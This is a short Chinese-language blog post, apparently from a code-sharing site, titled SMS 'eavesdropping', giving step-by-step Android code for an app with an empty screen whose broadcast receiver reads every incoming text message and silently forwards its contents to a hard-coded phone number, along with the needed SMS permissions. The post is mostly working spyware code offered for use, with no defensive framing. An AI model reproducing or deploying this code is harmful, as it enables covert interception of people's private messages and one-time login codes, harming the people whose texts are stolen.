您的位置:首页 > 其它

短信"窃听"

2012-07-11 14:07 141 查看
1.新建工程,自动生成一个Activity,这个显示用的,里面什么都没有。
2.新建一个SmsReceiver继承BroadcastReceiver,并在AndroidManifest.xml文件里面注册,要加上接收短信过滤器,如下

<receiver
android:name="SmsReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
</intent-filter>
</receiver>
3.现在只需完善SmsReceiver就可以了,看代码,尽量写了些注释

public class SmsReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

Bundle bundle = intent.getExtras();//获取intent中的内容
StringBuilder message = new StringBuilder();//message用于存放短信内容
SmsMessage sms = null;//短信服务类,MS现在已经被android.telephony.SmsMessage取代
SmsManager manager = null;//短信管理类
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");//获取bundle里面的内容
for (Object obj : pdus) {
//下面两行将短信内容取出加入到message中
sms = SmsMessage.createFromPdu((byte[]) obj);
message.append(sms.getDisplayMessageBody());
}
}
if (message.toString() != "") {//if里面将短信转发到指定的号码
System.out.println(message);
manager = SmsManager.getDefault();
manager.sendTextMessage("此处为要转发的电话号码", null, message.toString(),
null, null);
}

}

}

4.最后别忘了加入相关权限

<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
<uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  action 短信 新建